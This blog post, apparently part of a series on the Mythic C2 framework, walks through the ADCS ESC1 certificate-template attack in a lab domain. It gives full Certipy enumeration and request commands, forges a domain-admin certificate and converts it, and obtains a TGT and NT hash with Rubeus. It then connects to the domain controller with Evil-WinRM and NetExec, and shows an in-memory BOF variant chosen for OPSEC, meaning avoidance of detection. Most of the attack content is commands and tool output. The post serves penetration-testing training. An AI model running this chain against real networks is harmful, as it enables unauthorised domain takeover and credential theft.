Mythic C2 SERVER ADCS Attacks — ESC1- 109

Welcome to the 9th post in our Mythic C2 Server series.

In this post, I will explain how to perform the first ADCS attack technique, ESC1, by using a BOF through a C2 server, without writing any files to the target system and with maximum OPSEC.

First, I explained why the ESC1 vulnerability occurs. Then, to better understand this vulnerability, I covered it through two different scenarios.

In the first scenario, I explained how to detect the ESC1 vulnerability on a target system using a Linux machine, and how to exploit this vulnerability using Certipy. After understanding this fundamental concept, I move on to the second scenario.

In the second scenario, during an attack on the target system, if you do not have access to a Kali machine or if such usage is not allowed in the environment, I explain step by step how to exploit this vulnerability on a Windows system using one of the Mythic C2 agents, Xenon, by using BOF techniques without writing any files to the target system.

If you are ready, let’s begin.

ESC1

ESC1 is a technique that enables privilege escalation by abusing AD CS certificate templates.

Escalation occurs due to a misconfiguration that allows specifying an alternative user during the certificate request process. If a certificate template permits defining a different Subject Alternative Name (SAN) in the Certificate Signing Request (CSR), independently of the user who initiated the request, an attacker can request a certificate on behalf of any user in the domain.

This becomes a critical vulnerability, especially when targeting high-privileged accounts such as Administrator, and can be directly used for privilege escalation.

In our domain environment, using the account named domainuser, we will first enumerate the certificate templates of the CA and look for those that allow the addition of alternative names, i.e., SAN support.

certipy find -u 'domainuser@ludus.domain' -p 'password' -dc-ip 10.2.10.11 -dc-host JD-DC01-2022.ludus.domain -vulnerable -stdout

6
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : ludus-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-04-19T16:56:51+00:00
    Template Last Modified              : 2026-04-19T16:56:52+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LUDUS.DOMAIN\Domain Users
      Object Control Permissions
        Owner                           : LUDUS.DOMAIN\Enterprise Admins
        Full Control Principals         : LUDUS.DOMAIN\Domain Admins
                                          LUDUS.DOMAIN\Local System
                                          LUDUS.DOMAIN\Enterprise Admins
        Write Owner Principals         : LUDUS.DOMAIN\Domain Admins
                                          LUDUS.DOMAIN\Local System
                                          LUDUS.DOMAIN\Enterprise Admins
        Write Dacl Principals          : LUDUS.DOMAIN\Domain Admins
                                          LUDUS.DOMAIN\Local System
                                          LUDUS.DOMAIN\Enterprise Admins
    [+] User Enrollable Principals      : LUDUS.DOMAIN\Domain Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

We are only focusing on the part related to ESC1 from the output.

When we first look at the output above, Certipy already indicates the presence of the ESC1 vulnerability for us under the “[!] Vulnerabilities” section. However, let’s assume it was not explicitly shown, and examine how we would identify ESC1 manually.

First, we look at the Enrollment Rights section. As we can see, the group LUDUS.DOMAIN\Domain Users is listed here. Enrollment Rights define which users or groups are allowed to request a certificate from a specific certificate template within Active Directory Certificate Services (AD CS). In this case, all users belonging to the Domain Users group are allowed to request certificates from this template.

Second, we check the Requires Manager Approval value. This setting determines whether a certificate request must be approved by an administrator before issuance. Since the value is False, any certificate request made by Domain Users is processed automatically without requiring any admin approval, and the certificate is issued directly.

Third, we look at the Authorized Signatures Required value. This defines how many authorized signatures are required for a certificate request to be approved. A value of 0 means that no additional signatures or approvals are required for the certificate to be issued; the request is processed and the certificate is issued immediately.

Fourth, we check whether Client Authentication is set to True or whether the Extended Key Usage (EKU) contains Client Authentication. But what do these values mean?

• Client Authentication indicates whether a certificate template can be used to authenticate a user or machine identity, such as logging into a domain, performing LDAP binds, or being used in VPN authentication scenarios. If set to True, the certificate can be used in client authentication scenarios.
• Extended Key Usage (EKU) defines the intended purposes of a certificate. For example, values such as Client Authentication, Server Authentication, or Code Signing can exist within EKU. If a template includes the Client Authentication EKU, it means the certificate is allowed to be used specifically for authentication purposes. This enables the attacker to use the certificate in authentication processes.

Finally, the fifth condition is Enrollee Supplies Subject being set to True. This means that the user requesting the certificate (enrollee) can define the subject information (such as CN / UPN) that will be included in the certificate. Normally, this information is automatically assigned by the Certificate Authority (CA), but when this setting is True, the user can specify subject attributes manually, potentially impersonating another user. This allows an attacker to set the CN and UPN fields to a target user (for example, a higher-privileged account), effectively issuing a certificate that appears to belong to that user.

Looking at the output:

Enrollment Rights               : LUDUS.DOMAIN\Domain Users

Requires Manager Approval           : False

Authorized Signatures Required → this feature is not configured at all.

Client Authentication               : True

Extended Key Usage                  : Client Authentication

Enrollee Supplies Subject           : True

Note that in some cases, “Domain Users” may not appear under Enrollment Rights; however, there may be another group that we have access to, and enrollment can also be performed through that group.

As a result of these conditions, the ESC1 vulnerability occurs because the template allows normal users (Domain Users) to request certificates while also permitting them to define the subject information themselves. In addition, since the certificate can be used for Client Authentication, an attacker can exploit this configuration to generate a certificate on behalf of any user (for example, a high-privileged account) and use it to authenticate within the domain environment, thereby achieving privilege escalation.

First, let’s see how we can exploit this vulnerability on a Linux system.

Linux

certipy req -u 'domainuser@ludus.domain' -p 'password' -dc-ip 10.2.10.11 -ca 'ludus-CA' -template ESC1 -upn 'domainadmin@ludus.domain'

The commands above create a certificate file named domainadmin.pfx. We can use this certificate to authenticate as domainadmin.

timedatectl set-ntp false && ntpdate 10.2.10.11

certipy auth -pfx domainadmin.pfx -username domainadmin -domain ludus.domain -dc-ip 10.2.10.11

When this command is executed, Certipy uses the certificate inside the .pfx file to authenticate and establish a valid session against the domain controller.

As a result:

• A TGT (Ticket Granting Ticket) is obtained for the user and is typically saved as a file such as domainadmin.ccache.
• In addition, since authentication is performed via the certificate, the NT hash of the domainadmin account can also be extracted.
• With this information, the user can perform Kerberos-based authentication and use different tools inside the domain (for example, WMIexec, Evil-WinRM, etc.).

In summary, this command enables a transition from certificate-based authentication to Kerberos credentials, allowing authentication with domainadmin privileges inside the domain.

Now, let’s use the obtained information to connect to the target system.

1. Evil-WinRM (with Kerberos)

First, let’s configure the krb5.conf file.

KRB5CCNAME=domainadmin.ccache evil-winrm -i JD-DC01-2022.ludus.domain -r ludus.domain

2. NetExec SMB (with Kerberos)

KRB5CCNAME=domainadmin.ccache nxc smb JD-DC01-2022.ludus.domain -k --use-kcache

3. Netexec SMB (with Hash)

nxc smb JD-DC01-2022.ludus.domain -u 'domainadmin' -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Mythic C2 Server (With Bof)

Now let’s see how we can perform the same attack technique on a Mythic C2 server using a BOF.

After running the agent on the target system, I reviewed the SliverArmony BOFs and noticed that there are three ADCS enumeration BOFs that caught my attention.

These three BOFs actually serve the same purpose: enumerating Certificate Authority (CA) and certificate template information in an Active Directory environment. However, they use different Windows components to achieve this, which explains why some of them work while others do not.

The first BOF, adcs_enum, tries to retrieve AD CS information using Win32 APIs. This is a more basic approach and relies on LDAP or standard Windows queries. (It did not work in my case. This is likely because our agent was running on the Domain Controller, and when the DC attempted to perform LDAP queries against itself, there was a mismatch or restriction causing the operation to fail.)

The second BOF, adcs_enum_com, attempts to retrieve AD CS information through the ICertConfig COM object. This method communicates more directly with the Certificate Services components. However, since it is COM-based, it requires DCOM/RPC services to be enabled and typically needs higher privileges or a properly configured security context. (It worked.)

The third BOF, adcs_enum_com2, uses the IX509PolicyServerListManager COM object. This method is based on a more modern, policy-driven approach to AD CS enumeration and typically attempts to retrieve the CA policy server list. (It worked.)

Now that we have obtained the results from the BOFs, let’s analyze the part where the ESC1 vulnerability exists, similar to what we did on Linux.

Unlike Linux, it does not directly mark it as a “Vulnerability”; we need to identify this ourselves.

[*] Listing info about the template 'ESC1'
    Template Name            : ESC1
    Template Friendly Name   : ESC1
    Validity Period          : 1 years (31536000 seconds)
    Renewal Period           : 42 days (3628800 seconds)
    Name Flags               : SubjectNameEnrolleeSupplies
    Enrollment Flags         :
    Signatures Required      : 0
    Extended Key Usages      :
      Client Authentication
    Permissions              :
      Owner                  : ludus\Enterprise Admins
                              S-1-5-21-1753657880-4101209185-1366885730-519
      Access Rights         :
        Principal           : ludus\Domain Users (S-1-5-21-1753657880-4101209185-1366885730-513)
          Access mask       : 00000100
          Flags             : 00000001
                              Enrollment Rights
        Principal           : ludus\Domain Users (S-1-5-21-1753657880-4101209185-1366885730-513)
          Access mask       : 00020094
        Principal           : ludus\Domain Admins (S-1-5-21-1753657880-4101209185-1366885730-512)
          Access mask       : 000F01FF
                              WriteOwner Rights
                              WriteDacl Rights
                              WriteProperty All Rights
        Principal           : NT AUTHORITY\Authenticated Users (S-1-5-11)
          Access mask       : 00020094
        Principal           : NT AUTHORITY\SYSTEM (S-1-5-18)
          Access mask       : 000F01FF
                              WriteOwner Rights
                              WriteDacl Rights
                              WriteProperty All Rights
        Principal           : ludus\Enterprise Admins (S-1-5-21-1753657880-4101209185-1366885730-519)
          Access mask       : 000F01FF
                              WriteOwner Rights
                              WriteDacl Rights
                              WriteProperty All Rights
        Principal           : ludus\Domain Admins (S-1-5-21-1753657880-4101209185-1366885730-512)
          Access mask       : 000F01BD
                              WriteOwner Rights
                              WriteDacl Rights
                              WriteProperty All Rights

1. Enrollment Rights

Principal : ludus\Domain Users (S-1-5-21-...-513)
  Access mask : 00000100
  Flags       : 00000001
                Enrollment Rights

In the Linux output, it directly shows LUDUS.DOMAIN\Domain Users, whereas in the Windows output, you see Access mask: 00000100 and below it the Enrollment Rights field. This value indicates that all users in the Domain Users group are allowed to request certificates through this template.

2. Requires Manager Approval

Enrollment Flags :

In the Linux output, it explicitly shows Requires Manager Approval: False, whereas in the Windows output the Enrollment Flags field appears empty. If the EnrollmentPendAllRequests flag is not present in this field, it indicates that administrative approval is not required.

For comparison, if we look at an ESC4 template:

Enrollment Flags : EnrollmentPendAllRequests  ← onay gerekir

In ESC1, this flag is not present, meaning that certificate requests are processed automatically.

3. Authorized Signature Required

Signatures Required : 0

In the Linux output, this value is shown as not configured, whereas in the Windows output it appears directly as Signatures Required: 0. A value of zero indicates that no authorized signature or additional approval is required for the certificate to be issued.

4. Client Authentication

Extended Key Usages :
  Client Authentication

In the Linux output, Client Authentication: True is explicitly shown, whereas in the Windows output, the Client Authentication value appears under the Extended Key Usages section. In both cases, the meaning is the same: the certificate can be used for authentication processes.

5. Enrollee Supplies Subject

Name Flags : SubjectNameEnrolleeSupplies

In the Linux output, this is shown as Enrollee Supplies Subject: True, whereas in the Windows output this information appears under the Name Flags field as SubjectNameEnrolleeSupplies. The presence of this flag means that the user making the certificate request can define their own identity attributes, such as CN and UPN. Therefore, an attacker can specify the details of a privileged account such as Administrator in this field and generate a certificate on behalf of that user.

Now it’s time for the certificate request process. For this, I registered the remote-adcs-request BOF from SliverArmony.

When we run it, it asks us for a few values.

• CA: Specifies the Certificate Authority where the certificate request will be sent. The format is domain\CA_name.
• template: Specifies which certificate template will be used; the name of the ESC1-vulnerable template is entered here.
• subject: Defines the CN (Common Name) value that will appear in the certificate; the targeted user’s name is used.
• alt-name: Specifies the Subject Alternative Name (SAN/UPN) to be included in the certificate; this field links the certificate to the target user’s identity.
• Install: Indicates whether the certificate should be automatically installed to the current user account after being issued; 0 means do not install.
• Machine: Indicates whether the certificate should be installed to a machine account instead of a user account; 0 means user account.

For the CA value, we enter ludus.domain\ludus-CA, and for the template value we enter ESC1. In the Subject field we set CN=administrator, and in the alt-name field we use administrator@ludus.domain. We leave both Install and Machine as 0 for now.

forge_bof_remote-adcs-request

As we can see, a cert.pem file is generated as output. Now let’s convert this certificate into .pfx format on Kali. After that, we can convert it to Base64 format and use Rubeus to obtain a TGT as the domain admin.

We first create the cert.pem file and insert the value provided in the adcs_request output into it. This should include everything between — — -BEGIN RSA PRIVATE KEY — — — and — — -END CERTIFICATE — — -.

Now the next step is to convert our cert.pem file into a cert.pfx file. During this process, setting a password is optional; I skipped it by simply pressing Enter without entering any password.

openssl pkcs12 -in cert1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert1.pfx

In fact, we could use the cert.pfx file directly with Rubeus; however, this would require uploading the file to the target system, which is not a good choice from an OPSEC perspective. For this reason, I convert the certificate into Base64 format and use it that way instead.

base64 -w 0 cert.pfx

And now it’s time to obtain a TGT for the domainadmin user using the Base64-encoded PFX file.

forge_net_Rubeus "asktgt /user:domainadmin /certificate:MIIMzQIB... /domain:ludus.domain /dc:10.2.10.11 /getcredentials /nowrap"

We have reached the end of this write-up. What I wanted to explain here is the following: if our Kali machine is part of the penetration test environment, we can perform these steps without using BOFs. However, if we only have a Windows-based agent — meaning there is no Kali attack machine available — and we also need to be more careful from an OPSEC perspective, then using BOFs is a more suitable option. This way, we can complete the attack entirely in memory without writing any files to the target system.